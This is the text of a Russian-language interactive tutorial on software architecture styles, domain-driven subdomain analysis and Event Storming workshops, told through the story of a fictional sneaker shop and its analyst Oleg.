интерактив выбери под ситуацию
Восемь ситуаций из жизни. Для каждой выберите точку на шкале. Разбор объясняет не только правильный ответ, но и почему остальные варианты проигрывают именно здесь.
Решено 0 из 0.
миграция симптом → минимальный шаг
Таблица «что болит — что делать». Обратите внимание: в большинстве строк ответ не «микросервисы». Самая частая ошибка — лечить организационную или инфраструктурную боль архитектурной операцией на открытом сердце.
Монолит и микросервисы — только два из пятнадцати. Стиль архитектуры отвечает на два вопроса. Как система поделена на части и как эти части общаются. Всё остальное из них вытекает. Нажимайте на стиль и смотрите, что у него под капотом.
главное правило в одну строку для каждого стиля
Если запомнить только это — уже хватит на большинство разговоров. Полный разбор каждого — ниже по разделу.
| Берите этот стиль, если… | Стиль |
|---|---|
| вы только начинаете и команда одна | Модульный монолит |
| команд четыре и больше, и они мешают друг другу на релизах | Микросервисы |
| надо связать два десятка уже существующих систем | SOA |
| на один факт должны реагировать несколько разных частей | Событийная |
| работа редкая и тяжёлая: раз в сутки, раз в час | Бессерверная |
| данные обрабатываются пачками, шаг за шагом | Конвейер |
| нагрузка пиковая, база не держит | Пространственная |
| авария не должна задевать всех клиентов сразу | Ячеистая |
| работать надо и без связи с центром | Краевая |
| запрос свободный, правилами его не описать | С ИИ-агентом |
| правил много и они разные по странам или клиентам | Микроядро |
| данных много, команд много, за качество никто не отвечает | Сетка данных |
| над одним интерфейсом работает несколько команд | Микрофронтенды |
| логику надо проверять без базы и без сети | Гексагональная |
подбор выберите свою ситуацию — получите разбор
Так думают на практике: не «какой стиль лучше», а «у меня вот такая беда, что с ней делать». Нажмите на ситуацию, похожую на вашу.
разбор пятнадцать стилей на одном примере
Чтобы стили не путались, все пятнадцать разобраны на одной и той же компании — магазине кроссовок «Ботинок» из раздела про домены: подбирает размер по фото стопы, торгует, возит, ведёт склад.
Выберите стиль — получите рассказ, живую схему магазина в этом стиле и ход запроса по шагам. Коробки и стрелки можно нажимать.
главное стили не выбирают насмерть, их сочетают
Самая частая ошибка новичка: считать, что надо выбрать один стиль и жить с ним. На практике в одной системе их несколько, и это нормально.
Событийность: не альтернатива, а слой поверх
Событийный обмен бывает и внутри модульного монолита, и между микросервисами. Это способ общаться, а не способ делиться. Поэтому вопрос «монолит или события?» поставлен неверно.
Гексагональная: не альтернатива, а устройство внутри
Она про то, как устроен один сервис или модуль изнутри. Гексагональным может быть и монолит, и каждый микросервис по отдельности.
сравнение пятнадцать стилей по семи признакам
Прокрутите вбок, если не помещается. Главная колонка — «связанность». Она объясняет почти все остальные.
| Стиль | Как поделено | Как общаются | Данные | Выкат | Связанность | Где встретите |
|---|
тренажёр подберите стиль под ситуацию
Решено 0 из 0.
Хорошие границы берутся не из кода, а из бизнеса. Компания делает много разных дел, и они не равны по важности. Во что-то надо вкладывать лучших людей, а что-то дешевле купить готовым и не трогать. Разобраться, где что, — половина работы архитектора и первый шаг предметно-ориентированного проектирования (DDD). Весь раздел — одна история. Аналитик Олег впервые раскладывает бизнес «Ботинка» вместе с владелицей Верой. Путь от фразы «мы продаём кроссовки» до карты поддоменов и решений «строим сами, покупаем или отдаём подрядчику».
зачем это зачем раскладывать бизнес на домены
карта раздела одна история, четырнадцать глав
Главы 1–3 — первая встреча Олега с бизнесом и главное различение раздела: проблема против решения. Главы 4–5 — как искать поддомены и как подслушать будущие границы в словах людей. Главы 6–10 — типы поддоменов и деньги: куда вкладывать, что покупать, что бывает, если перепутать. Главы 11–13 — перенос на другой бизнес, путь от поддоменов к границам системы и документы аналитика. Дальше по книге — , и . Кнопка переносит к главе.
глава 1 · завязка «Мы продаём кроссовки. Что тут раскладывать?»
Олег работает в «Ботинке» полгода. Он писал постановки на отдельные доработки: скидка на вторую пару, новый перевозчик, бонусы. Каждый раз он видел маленький кусок бизнеса и ни разу — весь целиком.
В понедельник технический директор принёс новость: компания получила деньги на рост, можно нанять двенадцать разработчиков. «Куда их посадить? Если не решим сами, решит тот, кто громче попросит». Олегу дали два дня на встречи и задание: разложить бизнес «Ботинка» на части и сказать, куда вкладывать людей, а что купить готовым. Первая встреча — с владелицей, Верой.
За пять минут Олег услышал то, ради чего обычно и делают такой разбор: бизнес неоднороден. В нём есть то, ради чего к компании приходят, и то, что просто должно работать. Дальше — слова, без которых разговор не получится.
Что Олег должен принести через два дня
«Разобраться в бизнесе» — не задание: его нельзя проверить. Поэтому Олег сразу записал, какие документы он сдаст и как их примут. Ровно эти пять результатов мы и соберём к главе 13.
ЗАДАНИЕ НА РАЗБОР ДОМЕНА «БОТИНКА»
Р-1 Список поддоменов. Каждый назван словами бизнеса,
у каждого есть хозяин из бизнеса.
Р-2 Тип каждого поддомена: основной, поддерживающий или
общий — с обоснованием в одну-две фразы.
Р-3 Решение по каждому: строим сами сильной командой /
строим просто / покупаем готовое / отдаём подрядчику.
Р-4 Словарь спорных слов: что каждое значит в каждом отделе.
Р-5 Первые кандидаты в границы системы — вход для
Event Storming и нарезки на части.
Как принимаем: Вера и технический директор подписываются
под типами и решениями. Распределение 12 новых
разработчиков следует из таблицы, а не из того,
кто громче попросил.
глава 2 · главное различение два пространства: что болит у бизнеса и чем мы это лечим
После встречи с Верой Олег зашёл к Борису. Тот выслушал и сразу начал рисовать: «Понятно. Сервис подбора на Python, сервис заказов, сервис авторизации, общая база…» Олег остановил его: «Подожди. Я ещё не понял, что у них болит, а ты уже выписываешь лекарства». Так в разговоре появились два пространства, которые путают чаще всего.
Как одно соотносится с другим
Слева — то, что Олег находит в бизнесе. Справа — то, что команда проектирует в ответ. Стрелка — «на это мы отвечаем этим».
Почему это различение — основа нарезки
1. Поддомены находят, контексты проектируют
Влад Хононов в книге «Learning Domain-Driven Design» (2021) формулирует коротко: поддомены обнаруживают, а ограниченные контексты проектируют. Поддомен «Склад» есть в «Ботинке», нравится нам это или нет. А будет ли Склад отдельным сервисом, модулем или купленной программой — наше решение.
2. Сначала проблема, потом решение
Нарезка системы — это ответ на устройство бизнеса. Если начать с решения («у нас будет восемь микросервисов»), границы пройдут по случайным местам: по таблицам, по слоям, по тому, кто что уже написал. Это две неудачные попытки из раздела .
3. Связь не всегда один к одному
Чаще всего поддомен ложится на один контекст. Но бывает, что один поддомен даёт два контекста (разные языки внутри), или два маленьких поддомена живут в одном (одна команда, один язык). Об этом глава 12.
4. Тип поддомена решает, как тщательно резать
Вокруг основного поддомена границу проводят аккуратно и строят в ней свою богатую модель. Общий поддомен обычно вообще не наш контекст: это купленный продукт, а наша часть — тонкий переводчик к нему.
Тренажёр: что это — проблема или решение?
Фразы, которые Олег записал за первый день. Одни говорят о бизнесе, другие — о том, как его обслуживает система. Разложите.
Разложено 0 из 0.
глава 3 · первый список от «продаём кроссовки» к одиннадцати поддоменам
Домен целиком слишком большой, чтобы с ним что-то делать: про «продажу кроссовок» нельзя сказать, важна она или нет, купить её или писать самим. Его режут на поддомены. Остаток первого дня Олег провёл у людей: у Семёна на складе, у Лиды в поддержке, у Киры в маркетинге, у Нины в бухгалтерии и у Бориса в разработке.
Шесть вопросов, которые Олег задавал всем
Олег не спрашивал «какие у вас программы» и «какие таблицы». Он спрашивал про работу. Каждый вопрос выясняет своё.
| Вопрос | Что выясняет | Что ответили в «Ботинке» |
|---|---|---|
| «Что вы делаете за день? С чего начинается и чем заканчивается ваша работа?» | Сам поддомен и его границы во времени | Семён: «Утром приёмка поставок, днём сборка заказов, вечером передаю посылки курьерам». |
| «Кто вам что приносит и кому вы что отдаёте?» | Передачи между поддоменами — будущие швы | Лида: «Покупатель пишет мне про возврат, я оформляю заявку, пару принимает Семён, деньги возвращает Нина». |
| «Какими словами вы это называете?» | Язык — материал для словаря (глава 5) | Семён: «Для меня заказ — это сборочное задание». Нина: «Для меня — реализация». |
| «Что у вас бывает сложного? Где ошибаются?» | Сложность — одна из осей экономики (глава 7) | Нина: «Налоги и чеки, правила меняются каждый год». Кира: «Каталог простой, сложно только с фото». |
| «Что будет, если вас неделю не будет?» | Насколько поддомен обязателен | Кира про отзывы: «Ничего страшного, неделю проживём». Семён: «Магазин встанет». |
| «Почему покупатели выбирают нас, а не соседей?» | Отличие от конкурентов — признак основного поддомена | Все, кроме Бориса, ответили одно и то же: «из-за подбора размера». Борис сказал: «у нас быстрый сайт». |
Как Олег получил список — по шагам
Нажмите на шаг, чтобы раскрыть.
Что получилось к вечеру первого дня
Одиннадцать поддоменов. У каждого — короткое описание словами бизнеса и хозяин: человек, который отвечает за эту область и может принять по ней решение. Типы пока не проставлены — это глава 6.
Сколько должно быть поддоменов
Нет волшебного числа
У небольшой компании на первом уровне обычно выходит от пяти до пятнадцати поддоменов. Если вышло три — вы описали отделы крупными мазками. Если сорок — вы описываете функции экранов.
Поддомены бывают вложенными
«Склад» при желании делится на приёмку, хранение и сборку. Дробить стоит, пока у куска один эксперт и один набор правил. Дальше дробление ничего не даёт.
Список живой
Бизнес растёт, и поддомены появляются. Весной «Ботинок» запустит бонусную программу — появится «Лояльность». Список v0.1 — это снимок на сегодня.
СПИСОК ПОДДОМЕНОВ «БОТИНКА», v0.1 (после первого дня) № Поддомен Хозяин Что делает (словами бизнеса) 1 Подбор размера по фото Вера размер и модель по фото стопы 2 Каталог и поиск Кира показать товары и дать найти 3 Оформление заказа Кира превратить выбор в заказ 4 Приём оплаты Нина принять и вернуть деньги 5 Доставка Семён довезти и показать, где посылка 6 Склад и остатки Семён хранить, резервировать, собирать 7 Возвраты Лида/Семён принять пару, понять причину ⚠ 8 Отзывы Кира собрать и показать мнения 9 Рассылки Кира напомнить о себе и о заказе 10 Бухгалтерия Нина учёт, налоги, отчётность 11 Вход в личный кабинет — пустить покупателя в кабинет ⚠ Открытые вопросы: кто хозяин возвратов? нужен ли входу хозяин?
глава 4 · поиск три способа искать поддомены: возможности, оргструктура, события
Вечером Олег показал список архитектору Марине. Та кивнула и сказала: «Список из интервью — хорошее начало, но интервью видит то, что люди сами о себе рассказывают. Проверь его ещё тремя способами. Каждый способ видит своё и слеп к чужому. Где все три сходятся — там надёжно».
Проигрыватель: три способа на одной схеме
Выберите способ и идите по шагам. Сверху — то, из чего способ исходит: возможности, отделы или события. Снизу — одиннадцать поддоменов Олега и пунктирная «заготовка» для поддомена, которого в списке нет. Подсветка показывает, что способ нашёл на этом шаге и с какими оговорками.
Сравнение способов
| Способ | Видит хорошо | Слеп к | Когда брать первым |
|---|---|---|---|
| По бизнес-возможностям | Весь охват бизнеса; устойчивые во времени части; язык бизнеса без привязки к людям | Потоку и передачам между частями; к тому, какая часть главная — всё выглядит одинаково важным | Большая компания, нужно быстро увидеть целиком; разговор с руководством |
| По оргструктуре | Хозяев и экспертов; как реально распределена работа сегодня | Частям, у которых нет отдела; искажениям прошлого — оргсхема повторяет старые решения | Как перекрёстная проверка; чтобы найти, кого звать на интервью |
| По событиям | Потоку, передачам, языковым швам; спорным местам процесса | Фоновым частям без событий: учёт, вход, рассылки; к тому, чего нет в процессе | Сложный процесс с передачами между отделами; поиск границ для нарезки |
Все приёмы списком
Кроме трёх способов выше, есть ещё два приёма — для существующей системы и для проверки уже найденного. Нажмите, чтобы раскрыть.
глава 5 · язык живой словарь «Ботинка»: одно слово — разные смыслы
Все два дня Олег вёл тетрадь: каждое слово, которое люди произносили с особым значением, он выписывал вместе с тем, кто его сказал и что имел в виду. На второй день он заметил странное: одно и то же слово «заказ» Кира, Семён, Нина и Лида описывали четырьмя разными способами. И никто из них не ошибался.
Как выглядит нарушение
В коде Order. Продавец называет это «сделка», склад — «отгрузка», бухгалтерия — «реализация», поддержка — «заявка». На встрече все говорят «заказ» и имеют в виду разное, поэтому требование «отменить заказ» каждый понимает по-своему и реализует по-своему.
Как выглядит соблюдение
В контексте «Продажи» есть Заказ, в контексте «Склад» — СборочноеЗадание, в «Бухгалтерии» — Реализация. Это три разных класса в трёх разных модулях, связанные номером заказа. Каждый называется так, как его называет бизнес в этом отделе.
Живой словарь: разрешите конфликты
Сверху — шесть слов из тетради Олега. Красные — конфликт не разрешён. Выберите слово: увидите, что под ним понимают разные люди. Решите, что с ним делать. Ниже — карта «Ботинка»: каждое верное решение «разные смыслы» рисует языковой шов между частями, а у частей появляются их собственные слова. Неверное решение покажет, к чему оно приведёт, — и даст попробовать снова.
глава 6 · типы три типа поддоменов: куда вкладывать деньги
Утром второго дня Олег вернулся к Вере со списком из двенадцати пунктов. «Отлично, — сказала она. — Двенадцать кусков. Сажаем по разработчику на каждый?» Олег ответил вопросом: «А все ли они одинаково важны?» Нет. И эта разница определяет, куда пойдут лучшие люди, а где хватит купить готовое.
🏆 Основной (ключевой)
То, ради чего к вам приходят. Ваше отличие от конкурентов. Сюда — лучшие люди, своя разработка, эксперименты.
Проверка: если отдать это конкуренту, чем мы будем отличаться? Ничем — значит основной.
🔧 Поддерживающий
Без него нельзя, но он вас не отличает. Пишем сами, потому что готового под нашу специфику нет. Но пишем просто и скучно.
Проверка: нужно нам? да. Отличает нас? нет.
📦 Общий (универсальный)
У всех одинаковое. Покупаем готовое и не трогаем.
Проверка: это же есть у пекарни, у автосервиса и у стоматологии? Да — значит общий.
Три вопроса по порядку
Олег задавал их Вере про каждый поддомен. Порядок важен: первый вопрос отсекает основные, второй — общие, всё остальное — поддерживающее.
Поддомены «Ботинка» по типам
Теперь разберём каждый поддомен «Ботинка». Нажмите — увидите, какой это тип и почему именно такой.
Карта: три типа и что с каждым делать
| Тип | Что это | Как узнать | Что делаем |
|---|---|---|---|
| Основной core |
То, ради чего компания существует и чем отличается от конкурентов. Здесь сложность, здесь деньги, здесь конкурентное преимущество. | Если это делать так же, как все, компания станет обычной. Бизнес не готов отдать это на сторону ни за какие деньги. | Пишем сами, лучшими людьми. Здесь уместны DDD во всей строгости, богатая модель, тесты, вложения в чистоту. Здесь же чаще всего проходит граница отдельного сервиса. |
| Поддерживающий supporting |
Нужен для работы основного, но сам преимущества не даёт. Специфичен для компании, поэтому готового решения нет. | Без него нельзя, но делать его лучше конкурентов бессмысленно — покупатель разницы не заметит. | Пишем сами, но дёшево. Простая модель «создать — прочитать — изменить — удалить», минимум церемоний, можно отдать подрядчику или младшим разработчикам. Тратить сюда архитектурный бюджет — ошибка. |
| Общий generic |
Решённая задача, одинаковая для всех: аутентификация, рассылки, бухгалтерия, хранение файлов, биллинг. | Есть десяток готовых продуктов, и все примерно одинаковы. Своя реализация ничем не будет лучше. | Покупаем или берём готовое. Своя разработка здесь — прямой убыток. Задача архитектора — аккуратно изолировать чужой продукт слоем предотвращения порчи, чтобы его можно было заменить. |
глава 7 · экономика уникальность × сложность: куда попадает поддомен и сколько стоит ошибка
Вера выслушала про три типа и спросила по-деловому: «Хорошо. А сколько это стоит? Почему бы не написать всё самим — и не зависеть ни от кого?» Олег и Марина разложили поддомены на две оси. Так разговор о типах превратился в разговор о деньгах и людях.
Пять стратегий — что можно сделать с поддоменом
🏗 Строить сами, сильной командой
Своя постоянная команда из сильных людей, своя модель, эксперименты. Дорого и долго, зато знание и отличие остаются у вас.
🧱 Строить просто
Свой код, но без изысков: простая модель, младшие разработчики, готовые библиотеки. Дёшево и предсказуемо.
🤝 Отдать подрядчику
Аутсорс (outsourcing): внешняя команда делает по описанию. Хорошо для понятных, стабильных кусков. Плохо для того, что надо постоянно улучшать: знание уходит вместе с подрядчиком.
📦 Купить коробку
Готовый продукт (COTS, commercial off-the-shelf), который ставите у себя. Платите за лицензию и внедрение; подстраиваетесь под логику продукта.
☁ Подписка SaaS
Программа как услуга (software as a service): пользуетесь через интернет по подписке, ничего не ставите. Быстро; зависите от поставщика и его цен.
🔓 Открытый код
Готовый продукт с открытым кодом (open source): лицензии не платите, но платите своим временем на установку, обновления и сопровождение.
Живая модель: поставьте поддомен на карту
Выберите поддомен. Прочитайте, что о нём сказали на интервью, и поставьте ползунками свою оценку уникальности и сложности. Точка переедет на карте, а модель скажет, в какую зону она попала, что рекомендуется и сколько стоит выбрать не ту стратегию. Нажмите «Зафиксировать оценку» — модель сверит зону с тем, к чему пришли Олег и Вера.
Оценено верно 0 из 11.
глава 8 · время дрейф: то, что было ключевым, становится товаром
Вера подписала типы, но задала вопрос, который Олег записал как самый важный за два дня: «А через пять лет подбор размера будет таким же главным? Мы ведь не одни умеем фотографировать». Ответ — нет, скорее всего не будет. Всё, что приносит отличие, со временем копируют, упрощают и начинают продавать готовым. Чтобы это увидеть, нужна карта, на которой есть время.
Живая модель: «Ботинок» на восемь лет вперёд
Упрощённая карта в духе Уордли. По вертикали — ценность для покупателя, по горизонтали — зрелость решения на рынке. Нажмите «▶ Прожить годы» и смотрите, как поддомены ползут вправо. Ломайте: «Конкурент скопировал подбор» ускоряет его дрейф. Включайте решения: «Вера реагирует на дрейф» — компания вовремя ищет новое отличие. «Своя доставка за 2 часа» — бизнес сам сдвигает поддомен влево, и его тип меняется. Нажмите на точку — увидите, что с ней происходит в этот год.
глава 9 · цена ошибки перепутали тип: что будет через год
Типы — не теория ради теории. Неверно определённый тип — это неверно потраченные деньги и люди. Олег спросил у коллег из других компаний, как у них ошибались. Три сюжета повторялись чаще других. Нажмите, чтобы раскрыть.
Симулятор: проживите год с ошибкой
Выберите поддомен и то, как с ним обошлись. Нажмите «▶ Прожить год»: месяцы пойдут один за другим, в журнале появятся события, а счётчики покажут деньги, скорость изменений и отличие от конкурентов. Попробуйте и неправильные варианты, и правильный — балл даётся за поддомен, когда вы прожили год с верным обращением.
глава 10 · решение куда вкладывать людей: строить, купить, SaaS, подряд
Вечером второго дня была финальная встреча: Вера, технический директор, Марина и Олег. Технический директор начал с привычного: «Двенадцать человек, двенадцать поддоменов — по одному на каждый, по-честному». Олег положил на стол таблицу.
Решение по «Ботинку» — как его записал Олег
| Поддомен | Тип | Стратегия | Новых людей | Как мерить успех |
|---|---|---|---|---|
| Подбор размера по фото | основной | Строим сами сильной командой; эксперименты каждую неделю | 5 | Доля возвратов «не подошёл размер»; точность подбора |
| Возвраты | основной | Строим сами; причины возвратов — данные для подбора | 2 | Срок разбора причины; доля причин, дошедших до модели подбора |
| Каталог и поиск | поддерживающий | Строим просто; поисковый движок — готовый открытый | 1 | Время публикации карточки; поиск находит товар |
| Оформление заказа | поддерживающий | Строим просто, без фантазии | 1 | Доля брошенных корзин на шаге оформления |
| Склад и остатки | поддерживающий | Строим просто: остатки, резерв, сборка | 1 | Ошибки сборки; продажи «в минус» |
| Отзывы | поддерживающий | Оставляем как есть; модерация — готовым сервисом | 0 | — |
| Приём оплаты | общий | Платёжный провайдер; свой код — переводчик | 1 | Время подключения нового способа оплаты |
| Доставка | общий | Агрегатор служб доставки; свой код — переводчик | 1 | Время подключения нового перевозчика |
| Рассылки | общий | Подписка на сервис рассылок | 0 | Доставляемость писем |
| Бухгалтерия | общий | Готовая учётная система; выгрузка продаж раз в сутки | 0 | Расхождения выгрузки |
| Вход в личный кабинет | общий | Готовый провайдер входа по OpenID Connect | 0 | Часы сопровождения в месяц |
| Поддержка покупателей | общий | Подписка на систему обращений | 0 | Срок ответа покупателю |
Тренажёр: распределите двенадцать разработчиков
Попробуйте сами. Кнопками «−» и «+» раздайте двенадцать новых разработчиков. Модель оценит распределение: растёт ли отличие, не остались ли нужные части без людей и не пишет ли кто-то «велосипеды» там, где можно купить.
Как это звучит в требованиях
Решения по типам попадают в постановку как архитектурные ограничения: их можно проверить, и они защищают от тихого «а давайте напишем своё».
АРХИТЕКТУРНЫЕ ОГРАНИЧЕНИЯ (из решения по поддоменам «Ботинка»)
АО-1 Вход в личный кабинет реализуется готовым провайдером
входа по протоколу OpenID Connect. Собственная проверка
паролей в системах «Ботинка» не разрабатывается.
АО-2 Платежи принимает платёжный провайдер. Данные банковских
карт не попадают в системы «Ботинка» — это сужает область
требований PCI DSS.
АО-3 Каждый купленный продукт подключается через переводчик
(слой предотвращения порчи). Модели поставщика не
используются за пределами переводчика. Замена поставщика
не требует правок вне переводчика.
АО-4 Подбор размера и возвраты разрабатывает собственная
команда. Передача этих поддоменов подрядчику требует
решения владелицы.
АО-5 Карта поддоменов и их типов пересматривается раз в полгода;
результат пересмотра — запись в журнале решений.
глава 11 · перенос другой бизнес: разложите поддомены маркетплейса
Через месяц Олега позвали помочь знакомой команде. Метод тот же, бизнес другой. Вы проектируете маркетплейс товаров ручной работы. Его отличие от конкурентов — подбор мастеров под запрос покупателя и управление репутацией мастеров. Разложите поддомены по типам: от этого зависит, куда пойдут люди и деньги.
Разложено 0 из 0.
глава 12 · к границам от поддоменов к первым кандидатам в границы: 1:1, 1:N, N:1
Последний пункт задания — «первые кандидаты в границы системы». Здесь Олег впервые переходит из проблемного пространства в пространство решений. Поддомены — то, что есть в бизнесе. Контексты — то, как мы его нарежем. Чаще всего одно ложится на другое один к одному, но не всегда.
1:1 — один поддомен, один контекст
Вариант по умолчанию. Поддомен «Склад и остатки» → контекст «Склад». Одна модель, один язык, одна команда. Начинайте с него и отступайте только по названной причине.
1:N — один поддомен, несколько контекстов
Внутри поддомена нашлось два языка или две разные силы. «Каталог и поиск» → «Каталог» и «Цены»: у цен свои слова (акция, промокод) и свой темп изменений. «Вход» → купленный провайдер входа + свой контекст «Покупатели» (профиль, согласия).
N:1 — несколько поддоменов, один контекст
Поддомены маленькие, говорят на одном языке, у них одна команда и они меняются вместе. «Каталог и поиск» + «Отзывы» → один контекст «Каталог». На старте компании N:1 встречается чаще всего.
1:0 — своего контекста нет
Общий поддомен закрыт купленным продуктом. Свой код — только переводчик к нему. «Бухгалтерия» → готовая учётная система и выгрузка продаж.
Живая схема: как поддомены «Ботинка» легли на контексты
Слева — поддомены (проблемное пространство), справа — контексты и купленные продукты (пространство решений). Фильтры подсвечивают связи одного вида. Переключатель эпох показывает тот же бизнес в двух моментах: три года назад, когда вся разработка была одной командой из пяти человек, и сейчас, когда команд пять. Нажмите на любой прямоугольник — увидите его связи и объяснение.
Шесть правил, как поддомены ложатся на контексты
Нажмите на правило, чтобы раскрыть.
глава 13 · аналитику как оформить разбор домена: пять артефактов
Разбор, который живёт только в голове Олега и на фото доски, через полгода превращается в спор «а мы разве так решали?». Поэтому Олег сдал пять документов — ровно те, что обещал в главе 1. Выберите артефакт — увидите пример на «Ботинке» и пояснение, зачем он нужен и кто им пользуется.
Чек-лист: разбор домена готов, если…
Нажмите, чтобы раскрыть.
Типичные ошибки аналитика
Список поддоменов = список систем
«1С, CRM, сайт, мобильное приложение». Это пространство решений. Спросите: «а что делает эта система для бизнеса?» — ответ и будет поддоменом.
Типы проставил аналитик один
Тип поддомена — решение бизнеса о том, где он конкурирует. Аналитик предлагает и обосновывает, владелец подписывает. Иначе через месяц тип «тихо» поменяют.
Всё объявили основным
Если основных больше трёх-четырёх, разговор о вложениях не состоялся: «всё важно» значит «ничего не выделено». Попросите бизнес выбрать, без чего компания станет обычной.
Глоссарий без пометки «где»
Одно определение «заказа» на всю компанию — первый шаг к классу на шестьдесят полей. Термин в глоссарии всегда с пометкой, в какой части бизнеса он значит именно это.
Разбор сделан один раз
Карта без даты пересмотра устаревает молча. Через два года основной поддомен становится товаром, а люди всё ещё пишут его сами.
Разбор вместо разговора
Карту нарисовали по документации и оргсхеме, не поговорив с Семёном и Лидой. Получилось аккуратно и неправильно: эксперты знают исключения, которых нет в регламентах.
глава 14 · проверь себя поддомены и вложения: задачи из жизни
Решено 0 из 0.
Event Storming — это способ за несколько часов собрать у одной стены всех, кто знает бизнес, и вместе выложить его историю из оранжевых стикеров. Каждый стикер — одно событие: «Заказ оформлен», «Оплата получена», «Заказ отгружен». Когда события выстроены по времени, на стене сами собой проступают споры, дыры в процессе и границы будущих частей системы. Весь раздел — один день из жизни «Ботинка». Аналитик Олег проводит воркшоп. У стены — владелица магазина, кладовщик, поддержка, маркетинг, бухгалтер и разработчики. Мы пройдём этот день по фазам, а в главе 6 вы сами «проведёте» воркшоп на живой стене.
зачем это зачем аналитику и архитектору Event Storming
карта раздела один воркшоп, пятнадцать глав
Главы идут по порядку дня: сначала азбука (что такое событие, какие бывают стикеры), потом подготовка, потом сам воркшоп и то, что из него получается. Самое наглядное — живая стена в главе 6 и ножницы в главе 8: там видно, как из хаоса проступают границы. Кнопка переносит к главе.
глава 1 · завязка разговор глухих: как «Ботинок» раздал бонусы за возвращённые кроссовки
Весной «Ботинок» запустил бонусную программу. За каждую покупку клиенту начисляются бонусы, ими можно оплатить часть следующего заказа. Аналитик Олег поговорил с маркетологом Кирой, написал постановку, разработчик Борис сделал всё точно по ней. Через месяц бухгалтер Нина принесла отчёт: магазин потерял на бонусах больше, чем заработал на программе.
Что случилось? Пройдите цепочку по шагам.
Никто в этой истории не ошибся по-крупному. Кира честно рассказала, как видит программу она. Олег честно записал. Борис честно сделал. Беда в том, что знание о бизнесе размазано по людям, а собирали его по одному человеку за раз. Правило Веры («бонусы — только после срока возврата») жило в голове у Веры. Проблема с возвратами была известна Лиде из поддержки. До постановки не дошло ни то ни другое.
🗣 Разные языки
Бизнес говорит «заказ ушёл», разработка — «статус изменён на SHIPPED». Склад под «отправлен» понимает «уехал со склада», поддержка — «клиенту ушло письмо». Слова одни, смыслы разные.
🧩 Знание по кусочкам
Никто не знает весь процесс целиком. Кладовщик знает склад, Лида — жалобы, Нина — деньги. Целую картину видят только в момент аварии.
📞 Испорченный телефон
Знание идёт по цепочке: эксперт → аналитик → документ → разработчик → код. На каждом шаге что-то теряется. Код в итоге отражает не бизнес, а пересказ пересказа.
После разбора Олег предложил другое: собрать всех сразу у одной стены на один день и вместе выложить, как «Ботинок» живёт — от появления товара в каталоге до возврата денег. Это и есть Event Storming.
Почему именно события, а не «сущности» или «функции»
События понятны всем
Чтобы сказать «оплата получена», не нужно знать ни UML, ни SQL. Кладовщик и владелица говорят на этом языке с первой минуты. Таблицы и классы понятны только части комнаты.
О фактах спорить легче
Договориться, «что такое заказ», бывает невозможно: у каждого отдела свой заказ. А что «заказ оформлен» — факт, который признают все. Спор переезжает с определений на последовательность.
Время показывает дыры
Когда события стоят по порядку, видно, чего не хватает: «а что происходит между оплатой и сборкой?». Список функций такую дыру не покажет.
События потом станут кодом
То, что сегодня висит на стене, завтра станет сообщением между сервисами — например, в Kafka. Об этом глава 11. Язык стены и язык кода совпадают.
Когда Event Storming особенно нужен
- Старт нового продукта или большой новой функции — чтобы все одинаково поняли, что строим.
- Распил монолита — чтобы найти швы по бизнесу, а не по таблицам. Подробнее — в разделе .
- Поиск границ контекстов — где одно и то же слово начинает значить другое. Это раздел .
- Узкие места процесса — где заказы застревают, где люди звонят друг другу вместо системы.
- Ввод новичков — стена за день рассказывает о бизнесе больше, чем месяц чтения документации.
глава 2 · событие доменное событие: факт, который уже случился и важен бизнесу
Утро воркшопа. Олег раздаёт оранжевые стикеры и пишет на доске одно правило: «Что произошло в „Ботинке“? Пишем в прошедшем времени». Через минуту Кира спрашивает: «А „обновить статус“ — это событие?» Нет. Разберёмся, что такое событие и как его правильно назвать.
Пять правил хорошего события
Тренажёр: перепишите плохие стикеры
Эти стикеры принесли участники в первые десять минут. У каждого своя болезнь. Выберите, как его переписать. Правильный вариант заменит стикер на стене.
Исправлено 0 из 0.
Проверьте свою формулировку
Напишите событие из своей работы — например, из системы, которую вы сейчас описываете. Проверка простая и подсказывающая: она ищет признаки команды, интерфейса, техники, будущего времени и слишком общих слов. Решение всё равно за вами и экспертом.
глава 3 · нотация цвета стикеров: у каждого вида своя роль
К середине дня на стене появляются не только оранжевые стикеры. У Брандолини каждому виду стикера соответствует свой цвет. Цвет нужен, чтобы стену можно было «читать» с трёх метров: где факты, где решения людей, где правила, где вопросы.
«Картинка, которая объясняет всё»
Так Брандолини называет схему, по которой стикеры складываются в предложения. Её стоит выучить, как таблицу умножения: на ней держатся уровни процесса и дизайна (главы 9 и 10).
Тренажёр: какой это стикер?
Олег собрал фразы, которые звучали у стены. Разложите их по цветам.
Решено 0 из 0.
глава 4 · уровни три уровня: общая картина, процесс, дизайн
Event Storming — не один формат, а семейство из трёх. Они отличаются масштабом, составом комнаты и тем, что получается на выходе. Удобно думать о них как о трёх масштабах карты.
Один кусок «Ботинка» в трёх масштабах
Переключайте уровни — увидите, как один и тот же момент «Анна оплачивает заказ» выглядит на каждом.
Сравнение уровней
Нажмите на строку — раскроется пояснение.
глава 5 · подготовка кого звать, что купить и как провести онлайн
Половина успеха воркшопа решается до его начала. Олег потратил на подготовку два дня: договорился с людьми, нашёл комнату, купил бумагу и стикеры, написал приглашение с целью.
Кого звать: соберите комнату
Главное правило Брандолини: в комнате должны быть люди, у которых есть вопросы, и люди, у которых есть ответы. Выберите, кого Олег пригласит на общую картину «Ботинка». Под списком — какие части бизнеса будут закрыты знаниями и чего не хватает.
Комната и материалы
📜 Бесконечная стена
Рулон бумаги на длинной стене: 8–10 метров и больше. Брандолини называет это «неограниченным пространством для моделирования». Стена кончилась посреди процесса — люди начинают экономить место и молчать о деталях.
🟧 Стикеры с запасом
Оранжевых — сотни: на общей картине их уходит больше всего. Плюс синие, сиреневые, зелёные, жёлтые двух размеров, розовые широкие, малиновые или красные. Стикеры с сильным клеем — обычные отваливаются к обеду.
🖊 Маркеры, а не ручки
Чёрные маркеры, по одному на человека. Надпись ручкой не прочитать с двух метров, а стену читают именно издалека. И маркер не даёт писать длинно — это хорошо.
🚶 Без стола посередине
Стулья — вдоль стен, стол убрать. Люди, которые сидят, наблюдают. Люди, которые стоят у стены, участвуют. Брандолини называет большой стол в центре комнаты одной из главных ошибок.
🗺 Легенда на видном месте
Лист с цветами стикеров и правилами («прошедшее время», «одно событие — один стикер») висит у края стены весь день.
🎯 Цель в приглашении
Не «приходите на встречу», а «за день разберём, как „Ботинок“ проводит товар от каталога до возврата денег, и найдём главные проблемы». Цель задаёт границы стены.
Как выглядел день Олега
А если все в разных городах
С 2020 года многие воркшопы проходят онлайн на виртуальных досках: Miro, Mural, FigJam и подобных. Работает, но по-другому:
